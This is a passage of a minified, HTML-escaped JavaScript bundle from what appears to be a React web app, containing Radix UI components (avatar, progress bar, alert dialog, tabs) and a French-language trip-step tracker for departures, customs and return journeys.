pt-0&quot;,e),...t}));_m.displayName=&quot;CardFooter&quot;;function ife(e,t=[]){let r=[];function n(s,o){const l=I.createContext(o);l.displayName=s+&quot;Context&quot;;const c=r.length;r=[...r,o];const d=h=&gt;{const{scope:p,children:A,...y}=h,v=p?.[e]?.[c]||l,w=I.useMemo(()=&gt;y,Object.values(y));return a.jsx(v.Provider,{value:w,children:A})};d.displayName=s+&quot;Provider&quot;;function u(h,p){const A=p?.[e]?.[c]||l,y=I.useContext(A);if(y)return y;if(o!==void 0)return o;throw new Error(`\`${h}\` must be used within \`${s}\``)}return[d,u]}const i=()=&gt;{const s=r.map(o=&gt;I.createContext(o));return function(l){const c=l?.[e]||s;return I.useMemo(()=&gt;({[`__scope${e}`]:{...l,[e]:c}}),[l,c])}};return i.scopeName=e,[n,afe(i,...t)]}function afe(...e){const t=e[0];if(e.length===1)return t;const r=()=&gt;{const n=e.map(i=&gt;({useScope:i(),scopeName:i.scopeName}));return function(s){const o=n.reduce((l,{useScope:c,scopeName:d})=&gt;{const h=c(s)[`__scope${d}`];return{...l,...h}},{});return I.useMemo(()=&gt;({[`__scope${t.scopeName}`]:o}),[o])}};return r.scopeName=t.scopeName,r}var sfe=[&quot;a&quot;,&quot;button&quot;,&quot;div&quot;,&quot;form&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;img&quot;,&quot;input&quot;,&quot;label&quot;,&quot;li&quot;,&quot;nav&quot;,&quot;ol&quot;,&quot;p&quot;,&quot;select&quot;,&quot;span&quot;,&quot;svg&quot;,&quot;ul&quot;],DS=sfe.reduce((e,t)=&gt;{const r=sy(`Primitive.${t}`),n=I.forwardRef((i,s)=&gt;{const{asChild:o,...l}=i,c=o?r:t;return typeof window&lt;&quot;u&quot;&amp;&amp;(window[Symbol.for(&quot;radix-ui&quot;)]=!0),a.jsx(c,{...l,ref:s})});return n.displayName=`Primitive.${t}`,{...e,[t]:n}},{});function ofe(){return TO.useSyncExternalStore(lfe,()=&gt;!0,()=&gt;!1)}function lfe(){return()=&gt;{}}var TS=&quot;Avatar&quot;,[cfe]=ife(TS),[ufe,xz]=cfe(TS),vz=I.forwardRef((e,t)=&gt;{const{__scopeAvatar:r,...n}=e,[i,s]=I.useState(&quot;idle&quot;);return a.jsx(ufe,{scope:r,imageLoadingStatus:i,onImageLoadingStatusChange:s,children:a.jsx(DS.span,{...n,ref:t})})});vz.displayName=TS;var yz=&quot;AvatarImage&quot;,bz=I.forwardRef((e,t)=&gt;{const{__scopeAvatar:r,src:n,onLoadingStatusChange:i=()=&gt;{},...s}=e,o=xz(yz,r),l=dfe(n,s),c=ql(d=&gt;{i(d),o.onImageLoadingStatusChange(d)});return zs(()=&gt;{l!==&quot;idle&quot;&amp;&amp;c(l)},[l,c]),l===&quot;loaded&quot;?a.jsx(DS.img,{...s,ref:t,src:n}):null});bz.displayName=yz;var wz=&quot;AvatarFallback&quot;,Ez=I.forwardRef((e,t)=&gt;{const{__scopeAvatar:r,delayMs:n,...i}=e,s=xz(wz,r),[o,l]=I.useState(n===void 0);return I.useEffect(()=&gt;{if(n!==void 0){const c=window.setTimeout(()=&gt;l(!0),n);return()=&gt;window.clearTimeout(c)}},[n]),o&amp;&amp;s.imageLoadingStatus!==&quot;loaded&quot;?a.jsx(DS.span,{...i,ref:t}):null});Ez.displayName=wz;function y7(e,t){return e?t?(e.src!==t&amp;&amp;(e.src=t),e.complete&amp;&amp;e.naturalWidth&gt;0?&quot;loaded&quot;:&quot;loading&quot;):&quot;error&quot;:&quot;idle&quot;}function dfe(e,{referrerPolicy:t,crossOrigin:r}){const n=ofe(),i=I.useRef(null),s=n?(i.current||(i.current=new window.Image),i.current):null,[o,l]=I.useState(()=&gt;y7(s,e));return zs(()=&gt;{l(y7(s,e))},[s,e]),zs(()=&gt;{const c=h=&gt;()=&gt;{l(h)};if(!s)return;const d=c(&quot;loaded&quot;),u=c(&quot;error&quot;);return s.addEventListener(&quot;load&quot;,d),s.addEventListener(&quot;error&quot;,u),t&amp;&amp;(s.referrerPolicy=t),typeof r==&quot;string&quot;&amp;&amp;(s.crossOrigin=r),()=&gt;{s.removeEventListener(&quot;load&quot;,d),s.removeEventListener(&quot;error&quot;,u)}},[s,r,t]),o}var Cz=vz,Iz=bz,jz=Ez;const Dm=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(Cz,{ref:r,className:nr(`
      after:content-[&#039;&#039;] after:block after:absolute after:inset-0 after:rounded-full after:pointer-events-none after:border after:border-black/10 dark:after:border-white/10
      relative flex h-10 w-10 shrink-0 overflow-hidden rounded-full`,e),...t}));Dm.displayName=Cz.displayName;const Tm=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(Iz,{ref:r,className:nr(&quot;aspect-square h-full w-full&quot;,e),...t}));Tm.displayName=Iz.displayName;const Rm=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(jz,{ref:r,className:nr(&quot;flex h-full w-full items-center justify-center rounded-full bg-muted&quot;,e),...t}));Rm.displayName=jz.displayName;function ffe(e,t=[]){let r=[];function n(s,o){const l=I.createContext(o);l.displayName=s+&quot;Context&quot;;const c=r.length;r=[...r,o];const d=h=&gt;{const{scope:p,children:A,...y}=h,v=p?.[e]?.[c]||l,w=I.useMemo(()=&gt;y,Object.values(y));return a.jsx(v.Provider,{value:w,children:A})};d.displayName=s+&quot;Provider&quot;;function u(h,p){const A=p?.[e]?.[c]||l,y=I.useContext(A);if(y)return y;if(o!==void 0)return o;throw new Error(`\`${h}\` must be used within \`${s}\``)}return[d,u]}const i=()=&gt;{const s=r.map(o=&gt;I.createContext(o));return function(l){const c=l?.[e]||s;return I.useMemo(()=&gt;({[`__scope${e}`]:{...l,[e]:c}}),[l,c])}};return i.scopeName=e,[n,hfe(i,...t)]}function hfe(...e){const t=e[0];if(e.length===1)return t;const r=()=&gt;{const n=e.map(i=&gt;({useScope:i(),scopeName:i.scopeName}));return function(s){const o=n.reduce((l,{useScope:c,scopeName:d})=&gt;{const h=c(s)[`__scope${d}`];return{...l,...h}},{});return I.useMemo(()=&gt;({[`__scope${t.scopeName}`]:o}),[o])}};return r.scopeName=t.scopeName,r}var mfe=[&quot;a&quot;,&quot;button&quot;,&quot;div&quot;,&quot;form&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;img&quot;,&quot;input&quot;,&quot;label&quot;,&quot;li&quot;,&quot;nav&quot;,&quot;ol&quot;,&quot;p&quot;,&quot;select&quot;,&quot;span&quot;,&quot;svg&quot;,&quot;ul&quot;],Nz=mfe.reduce((e,t)=&gt;{const r=sy(`Primitive.${t}`),n=I.forwardRef((i,s)=&gt;{const{asChild:o,...l}=i,c=o?r:t;return typeof window&lt;&quot;u&quot;&amp;&amp;(window[Symbol.for(&quot;radix-ui&quot;)]=!0),a.jsx(c,{...l,ref:s})});return n.displayName=`Primitive.${t}`,{...e,[t]:n}},{}),RS=&quot;Progress&quot;,PS=100,[pfe]=ffe(RS),[gfe,Afe]=pfe(RS),Sz=I.forwardRef((e,t)=&gt;{const{__scopeProgress:r,value:n=null,max:i,getValueLabel:s=xfe,...o}=e;(i||i===0)&amp;&amp;!b7(i)&amp;&amp;console.error(vfe(`${i}`,&quot;Progress&quot;));const l=b7(i)?i:PS;n!==null&amp;&amp;!w7(n,l)&amp;&amp;console.error(yfe(`${n}`,&quot;Progress&quot;));const c=w7(n,l)?n:null,d=fw(c)?s(c,l):void 0;return a.jsx(gfe,{scope:r,value:c,max:l,children:a.jsx(Nz.div,{&quot;aria-valuemax&quot;:l,&quot;aria-valuemin&quot;:0,&quot;aria-valuenow&quot;:fw(c)?c:void 0,&quot;aria-valuetext&quot;:d,role:&quot;progressbar&quot;,&quot;data-state&quot;:_z(c,l),&quot;data-value&quot;:c??void 0,&quot;data-max&quot;:l,...o,ref:t})})});Sz.displayName=RS;var Bz=&quot;ProgressIndicator&quot;,kz=I.forwardRef((e,t)=&gt;{const{__scopeProgress:r,...n}=e,i=Afe(Bz,r);return a.jsx(Nz.div,{&quot;data-state&quot;:_z(i.value,i.max),&quot;data-value&quot;:i.value??void 0,&quot;data-max&quot;:i.max,...n,ref:t})});kz.displayName=Bz;function xfe(e,t){return`${Math.round(e/t*100)}%`}function _z(e,t){return e==null?&quot;indeterminate&quot;:e===t?&quot;complete&quot;:&quot;loading&quot;}function fw(e){return typeof e==&quot;number&quot;}function b7(e){return fw(e)&amp;&amp;!isNaN(e)&amp;&amp;e&gt;0}function w7(e,t){return fw(e)&amp;&amp;!isNaN(e)&amp;&amp;e&lt;=t&amp;&amp;e&gt;=0}function vfe(e,t){return`Invalid prop \`max\` of value \`${e}\` supplied to \`${t}\`. Only numbers greater than 0 are valid max values. Defaulting to \`${PS}\`.`}function yfe(e,t){return`Invalid prop \`value\` of value \`${e}\` supplied to \`${t}\`. The \`value\` prop must be:
  - a positive number
  - less than the value passed to \`max\` (or ${PS} if no \`max\` prop is set)
  - \`null\` or \`undefined\` if the progress is indeterminate.

Defaulting to \`null\`.`}var Dz=Sz,bfe=kz;const QS=I.forwardRef(({className:e,value:t,...r},n)=&gt;a.jsx(Dz,{ref:n,className:nr(&quot;relative h-4 w-full overflow-hidden rounded-full bg-secondary&quot;,e),...r,children:a.jsx(bfe,{className:&quot;h-full w-full flex-1 bg-primary transition-all&quot;,style:{transform:`translateX(-${100-(t||0)}%)`}})}));QS.displayName=Dz.displayName;function Sr(e){if(!e)return null;if(e.startsWith(&quot;data:&quot;)||e.startsWith(&quot;http://&quot;)||e.startsWith(&quot;https://&quot;))return e;const t=e.startsWith(&quot;/&quot;)?e:`/${e}`;return $s(t)}var wfe=Symbol(&quot;radix.slottable&quot;);function Efe(e){const t=({children:r})=&gt;a.jsx(a.Fragment,{children:r});return t.displayName=`${e}.Slottable`,t.__radixId=wfe,t}var Tz=&quot;AlertDialog&quot;,[Cfe]=Sc(Tz,[AM]),sh=AM(),Rz=e=&gt;{const{__scopeAlertDialog:t,...r}=e,n=sh(t);return a.jsx(uS,{...n,...r,modal:!0})};Rz.displayName=Tz;var Ife=&quot;AlertDialogTrigger&quot;,Pz=I.forwardRef((e,t)=&gt;{const{__scopeAlertDialog:r,...n}=e,i=sh(r);return a.jsx(TM,{...i,...n,ref:t})});Pz.displayName=Ife;var jfe=&quot;AlertDialogPortal&quot;,Qz=e=&gt;{const{__scopeAlertDialog:t,...r}=e,n=sh(t);return a.jsx(dS,{...n,...r})};Qz.displayName=jfe;var Nfe=&quot;AlertDialogOverlay&quot;,Fz=I.forwardRef((e,t)=&gt;{const{__scopeAlertDialog:r,...n}=e,i=sh(r);return a.jsx(oy,{...i,...n,ref:t})});Fz.displayName=Nfe;var WA=&quot;AlertDialogContent&quot;,[Sfe,Bfe]=Cfe(WA),kfe=Efe(&quot;AlertDialogContent&quot;),Oz=I.forwardRef((e,t)=&gt;{const{__scopeAlertDialog:r,children:n,...i}=e,s=sh(r),o=I.useRef(null),l=ri(t,o),c=I.useRef(null);return a.jsx(xue,{contentName:WA,titleName:Lz,docsSlug:&quot;alert-dialog&quot;,children:a.jsx(Sfe,{scope:r,cancelRef:c,children:a.jsxs(ly,{role:&quot;alertdialog&quot;,...s,...i,ref:l,onOpenAutoFocus:yr(i.onOpenAutoFocus,d=&gt;{d.preventDefault(),c.current?.focus({preventScroll:!0})}),onPointerDownOutside:d=&gt;d.preventDefault(),onInteractOutside:d=&gt;d.preventDefault(),children:[a.jsx(kfe,{children:n}),a.jsx(Dfe,{contentRef:o})]})})})});Oz.displayName=WA;var Lz=&quot;AlertDialogTitle&quot;,Mz=I.forwardRef((e,t)=&gt;{const{__scopeAlertDialog:r,...n}=e,i=sh(r);return a.jsx(cy,{...i,...n,ref:t})});Mz.displayName=Lz;var Uz=&quot;AlertDialogDescription&quot;,zz=I.forwardRef((e,t)=&gt;{const{__scopeAlertDialog:r,...n}=e,i=sh(r);return a.jsx(uy,{...i,...n,ref:t})});zz.displayName=Uz;var _fe=&quot;AlertDialogAction&quot;,$z=I.forwardRef((e,t)=&gt;{const{__scopeAlertDialog:r,...n}=e,i=sh(r);return a.jsx(B4,{...i,...n,ref:t})});$z.displayName=_fe;var Hz=&quot;AlertDialogCancel&quot;,qz=I.forwardRef((e,t)=&gt;{const{__scopeAlertDialog:r,...n}=e,{cancelRef:i}=Bfe(Hz,r),s=sh(r),o=ri(t,i);return a.jsx(B4,{...s,...n,ref:o})});qz.displayName=Hz;var Dfe=({contentRef:e})=&gt;{const t=`\`${WA}\` requires a description for the component to be accessible for screen reader users.

You can add a description to the \`${WA}\` by passing a \`${Uz}\` component as a child, which also benefits sighted users by adding visible context to the dialog.

Alternatively, you can use your own component as a description by assigning it an \`id\` and passing the same value to the \`aria-describedby\` prop in \`${WA}\`. If the description is confusing or duplicative for sighted users, you can use the \`@radix-ui/react-visually-hidden\` primitive as a wrapper around your description component.

For more information, see https://radix-ui.com/primitives/docs/components/alert-dialog`;return I.useEffect(()=&gt;{document.getElementById(e.current?.getAttribute(&quot;aria-describedby&quot;))||console.warn(t)},[t,e]),null},Tfe=Rz,Rfe=Pz,Pfe=Qz,Gz=Fz,Vz=Oz,Wz=$z,Kz=qz,Yz=Mz,Zz=zz;const du=Tfe,Qfe=Rfe,Ffe=Pfe,Jz=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(Gz,{className:nr(&quot;fixed inset-0 z-50 bg-black/80  data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0&quot;,e),...t,ref:r}));Jz.displayName=Gz.displayName;const yc=I.forwardRef(({className:e,...t},r)=&gt;a.jsxs(Ffe,{children:[a.jsx(Jz,{}),a.jsx(Vz,{ref:r,className:nr(&quot;fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg&quot;,e),...t})]}));yc.displayName=Vz.displayName;const bc=({className:e,...t})=&gt;a.jsx(&quot;div&quot;,{className:nr(&quot;flex flex-col space-y-2 text-center sm:text-left&quot;,e),...t});bc.displayName=&quot;AlertDialogHeader&quot;;const wc=({className:e,...t})=&gt;a.jsx(&quot;div&quot;,{className:nr(&quot;flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2&quot;,e),...t});wc.displayName=&quot;AlertDialogFooter&quot;;const Ec=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(Yz,{ref:r,className:nr(&quot;text-lg font-semibold&quot;,e),...t}));Ec.displayName=Yz.displayName;const Cc=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(Zz,{ref:r,className:nr(&quot;text-sm text-muted-foreground&quot;,e),...t}));Cc.displayName=Zz.displayName;const Ic=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(Wz,{ref:r,className:nr(iS(),e),...t}));Ic.displayName=Wz.displayName;const jc=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(Kz,{ref:r,className:nr(iS({variant:&quot;outline&quot;}),&quot;mt-2 sm:mt-0&quot;,e),...t}));jc.displayName=Kz.displayName;function Ofe(e){const t=e.toLowerCase();return t.includes(&quot;usine&quot;)||t.includes(&quot;dépôt&quot;)||t.includes(&quot;depot&quot;)?hse:t.includes(&quot;douane&quot;)?U6:ei}function Lfe({steps:e,currentStepId:t,lastReachedIndex:r,onReachStep:n,isLoading:i=!1,onStartVoyage:s,canStartVoyage:o=!1,isStartingVoyage:l=!1,onStartReturn:c,canStartReturn:d=!1,isStartingReturn:u=!1,readOnly:h=!1}){const[p,A]=I.useState(null),[y,v]=I.useState(&quot;&quot;),[w,j]=I.useState(!1);if(e.length===0)return null;const E=[...e].reverse(),S=()=&gt;{p!==null&amp;&amp;n&amp;&amp;(n(p),A(null),v(&quot;&quot;))},_=()=&gt;{c&amp;&amp;(c(),j(!1))};let C=-1;r&gt;=0&amp;&amp;(C=E.findIndex((T,M)=&gt;e.length-1-M===r&amp;&amp;!!T.reachedAt&amp;&amp;!T.skippedAt));let Q=-1;t!==null&amp;&amp;(Q=E.findIndex(T=&gt;T.id===t));const R=C&gt;=0&amp;&amp;Q&gt;=0&amp;&amp;C&gt;Q?(()=&gt;{const T=16+C*80+24,M=16+Q*80+32,O=(T+M)/2,$=(C-Q)*70;return O+$})():0;return a.jsxs(&quot;div&quot;,{className:&quot;relative py-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;absolute left-6 w-1.5 bg-border&quot;,style:{top:&quot;24px&quot;,bottom:&quot;24px&quot;}}),a.jsx(&quot;div&quot;,{className:&quot;relative space-y-8&quot;,children:E.map((T,M)=&gt;{const O=e.length-1-M,$=!!T.reachedAt&amp;&amp;!T.skippedAt,P=!!T.skippedAt,W=t!==null&amp;&amp;T.id===t||d&amp;&amp;O===0&amp;&amp;!$&amp;&amp;!P,G=Ofe(T.category);return a.jsxs(&quot;div&quot;,{className:&quot;relative flex items-start gap-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;relative z-10 flex-shrink-0&quot;,children:$?a.jsx(&quot;div&quot;,{className:&quot;w-12 h-12 rounded-full bg-green-500 flex items-center justify-center border-4 border-background shadow-md&quot;,children:a.jsx(na,{className:&quot;h-6 w-6 text-white&quot;})}):P?a.jsx(&quot;div&quot;,{className:&quot;w-12 h-12 rounded-full bg-gray-400 flex items-center justify-center border-4 border-background shadow-md&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;w-3 h-3 rounded-full bg-white&quot;})}):W?a.jsx(&quot;div&quot;,{className:&quot;w-16 h-16 rounded-lg bg-primary flex items-center justify-center border-4 border-background shadow-lg&quot;,children:a.jsx(G,{className:&quot;h-8 w-8 text-primary-foreground&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;w-12 h-12 rounded-full bg-blue-500 border-4 border-background shadow-md flex items-center justify-center&quot;,children:a.jsx(G,{className:&quot;h-6 w-6 text-white&quot;})})}),a.jsx(&quot;div&quot;,{className:nr(&quot;flex-1 min-w-0 pt-1&quot;,W&amp;&amp;&quot;pb-2&quot;),children:W?a.jsxs(&quot;div&quot;,{className:&quot;bg-primary/10 border-2 border-primary rounded-lg p-4 space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h4&quot;,{className:&quot;text-base font-bold text-primary&quot;,children:T.label}),T.category&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:T.category})]}),T.isRequired&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:&quot;Requis&quot;})]}),!h&amp;&amp;o&amp;&amp;O===0&amp;&amp;s?a.jsx(ge,{onClick:s,disabled:l,className:&quot;w-full bg-green-600 hover:bg-green-700 text-white font-semibold&quot;,size:&quot;lg&quot;,children:l?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Démarrage...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(ei,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Je pars maintenant&quot;]})}):!h&amp;&amp;d&amp;&amp;O===0&amp;&amp;c&amp;&amp;!$&amp;&amp;!P?a.jsx(ge,{onClick:()=&gt;j(!0),disabled:u,className:&quot;w-full bg-blue-600 hover:bg-blue-700 text-white font-semibold&quot;,size:&quot;lg&quot;,children:u?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Démarrage...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(g4,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Je retourne maintenant!&quot;]})}):!h&amp;&amp;n&amp;&amp;T.id&amp;&amp;!$&amp;&amp;!P&amp;&amp;!(d&amp;&amp;O===0)?a.jsxs(ge,{onClick:()=&gt;{A(T.id),v(T.label)},disabled:i,className:&quot;w-full bg-primary text-primary-foreground hover:bg-primary/90&quot;,children:[a.jsx(na,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;PASSÉ &quot;,T.label.toUpperCase()]}):null]}):!h&amp;&amp;!$&amp;&amp;!P&amp;&amp;O===0&amp;&amp;r===-1&amp;&amp;n&amp;&amp;T.id&amp;&amp;!d?a.jsxs(&quot;div&quot;,{className:&quot;bg-primary/10 border-2 border-primary rounded-lg p-4 space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h4&quot;,{className:&quot;text-base font-bold text-primary&quot;,children:T.label}),T.category&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:T.category})]}),T.isRequired&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:&quot;Requis&quot;})]}),a.jsxs(ge,{onClick:()=&gt;{A(T.id),v(T.label)},disabled:i,className:&quot;w-full bg-primary text-primary-foreground hover:bg-primary/90&quot;,children:[a.jsx(na,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;PASSÉ &quot;,T.label.toUpperCase()]})]}):$?a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;h4&quot;,{className:&quot;text-sm font-semibold text-green-700 dark:text-green-300&quot;,children:T.label}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-green-50 dark:bg-green-950 border-green-200 dark:border-green-800&quot;,children:&quot;Terminé&quot;})]}),T.category&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:T.category}),T.reachedAt&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:new Date(T.reachedAt).toLocaleString(&quot;fr-FR&quot;,{day:&quot;2-digit&quot;,month:&quot;2-digit&quot;,hour:&quot;2-digit&quot;,minute:&quot;2-digit&quot;})})]}):P?a.jsxs(&quot;div&quot;,{className:&quot;space-y-1 opacity-50&quot;,children:[a.jsx(&quot;h4&quot;,{className:&quot;text-sm font-medium text-gray-500&quot;,children:T.label}),T.category&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:T.category}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:&quot;Ignoré&quot;})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsx(&quot;h4&quot;,{className:&quot;text-sm font-medium text-blue-700 dark:text-blue-300&quot;,children:T.label}),T.category&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:T.category}),T.isRequired&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-blue-50 dark:bg-blue-950 border-blue-200 dark:border-blue-800&quot;,children:&quot;Requis&quot;})]})})]},T.id||T.voyageTypeStepId)})}),C&gt;=0&amp;&amp;Q&gt;=0&amp;&amp;C&gt;Q&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute left-0 z-20 flex items-center justify-center&quot;,style:{top:`${R}px`,transform:&quot;translateY(-50%)&quot;},children:a.jsxs(&quot;svg&quot;,{width:&quot;40&quot;,height:&quot;40&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,className:&quot;text-primary&quot;,children:[a.jsx(&quot;rect&quot;,{x:&quot;11&quot;,y:&quot;4&quot;,width:&quot;2&quot;,height:&quot;12&quot;,fill:&quot;currentColor&quot;}),a.jsx(&quot;path&quot;,{d:&quot;M12 4L6 10L18 10L12 4Z&quot;,fill:&quot;currentColor&quot;})]})}),a.jsx(du,{open:p!==null,onOpenChange:T=&gt;!T&amp;&amp;A(null),children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Confirmer la validation&quot;}),a.jsxs(Cc,{children:[`Êtes-vous sûr de vouloir valider l&#039;étape &quot;`,y,&#039;&quot; ? Cette action ne peut pas être annulée.&#039;]})]}),a.jsxs(wc,{children:[a.jsx(jc,{disabled:i,children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:S,disabled:i,className:&quot;bg-primary text-primary-foreground hover:bg-primary/90&quot;,children:i?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Validation...&quot;]}):&quot;Confirmer&quot;})]})]})}),a.jsx(du,{open:w,onOpenChange:T=&gt;!T&amp;&amp;j(!1),children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Démarrer le trajet RETOUR&quot;}),a.jsx(Cc,{children:&quot;Êtes-vous sûr de vouloir démarrer le trajet RETOUR ? Cette action marquera le début de votre voyage de retour.&quot;})]}),a.jsxs(wc,{children:[a.jsx(jc,{disabled:u,children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:_,disabled:u,className:&quot;bg-blue-600 text-white hover:bg-blue-700&quot;,children:u?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Démarrage...&quot;]}):&quot;Je retourne maintenant!&quot;})]})]})})]})}var L4=&quot;Tabs&quot;,[Mfe]=Sc(L4,[R4]),Xz=R4(),[Ufe,FS]=Mfe(L4),e$=I.forwardRef((e,t)=&gt;{const{__scopeTabs:r,value:n,onValueChange:i,defaultValue:s,orientation:o=&quot;horizontal&quot;,dir:l,activationMode:c=&quot;automatic&quot;,...d}=e,u=my(l),[h,p]=a0({prop:n,onChange:i,defaultProp:s??&quot;&quot;,caller:L4});return a.jsx(Ufe,{scope:r,baseId:su(),value:h,onValueChange:p,orientation:o,dir:u,activationMode:c,children:a.jsx(an.div,{dir:u,&quot;data-orientation&quot;:o,...d,ref:t})})});e$.displayName=L4;var t$=&quot;TabsList&quot;,r$=I.forwardRef((e,t)=&gt;{const{__scopeTabs:r,loop:n=!0,...i}=e,s=FS(t$,r),o=Xz(r);return a.jsx(aU,{asChild:!0,...o,orientation:s.orientation,dir:s.dir,loop:n,children:a.jsx(an.div,{role:&quot;tablist&quot;,&quot;aria-orientation&quot;:s.orientation,...i,ref:t})})});r$.displayName=t$;var n$=&quot;TabsTrigger&quot;,i$=I.forwardRef((e,t)=&gt;{const{__scopeTabs:r,value:n,disabled:i=!1,...s}=e,o=FS(n$,r),l=Xz(r),c=o$(o.baseId,n),d=l$(o.baseId,n),u=n===o.value;return a.jsx(sU,{asChild:!0,...l,focusable:!i,active:u,children:a.jsx(an.button,{type:&quot;button&quot;,role:&quot;tab&quot;,&quot;aria-selected&quot;:u,&quot;aria-controls&quot;:d,&quot;data-state&quot;:u?&quot;active&quot;:&quot;inactive&quot;,&quot;data-disabled&quot;:i?&quot;&quot;:void 0,disabled:i,id:c,...s,ref:t,onMouseDown:yr(e.onMouseDown,h=&gt;{!i&amp;&amp;h.button===0&amp;&amp;h.ctrlKey===!1?o.onValueChange(n):h.preventDefault()}),onKeyDown:yr(e.onKeyDown,h=&gt;{[&quot; &quot;,&quot;Enter&quot;].includes(h.key)&amp;&amp;o.onValueChange(n)}),onFocus:yr(e.onFocus,()=&gt;{const h=o.activationMode!==&quot;manual&quot;;!u&amp;&amp;!i&amp;&amp;h&amp;&amp;o.onValueChange(n)})})})});i$.displayName=n$;var a$=&quot;TabsContent&quot;,s$=I.forwardRef((e,t)=&gt;{const{__scopeTabs:r,value:n,forceMount:i,children:s,...o}=e,l=FS(a$,r),c=o$(l.baseId,n),d=l$(l.baseId,n),u=n===l.value,h=I.useRef(u);return I.useEffect(()=&gt;{const p=requestAnimationFrame(()=&gt;h.current=!1);return()=&gt;cancelAnimationFrame(p)},[]),a.jsx(hu,{present:i||u,children:({present:p})=&gt;a.jsx(an.div,{&quot;data-state&quot;:u?&quot;active&quot;:&quot;inactive&quot;,&quot;data-orientation&quot;:l.orientation,role:&quot;tabpanel&quot;,&quot;aria-labelledby&quot;:c,hidden:!p,id:d,tabIndex:0,...o,ref:t,style:{...e.style,animationDuration:h.current?&quot;0s&quot;:void 0},children:p&amp;&amp;s})})});s$.displayName=a$;function o$(e,t){return`${e}-trigger-${t}`}function l$(e,t){return`${e}-content-${t}`}var zfe=e$,c$=r$,u$=i$,d$=s$;const ul=zfe,Ro=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(c$,{ref:r,className:nr(&quot;inline-flex h-10 items-center justify-center rounded-md bg-muted p-1 text-muted-foreground&quot;,e),...t}));Ro.displayName=c$.displayName;const hn=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(u$,{ref:r,className:nr(&quot;inline-flex items-center justify-center whitespace-nowrap rounded-sm px-3 py-1.5 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-sm&quot;,e),...t}));hn.displayName=u$.displayName;const dn=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(d$,{ref:r,className:nr(&quot;mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring 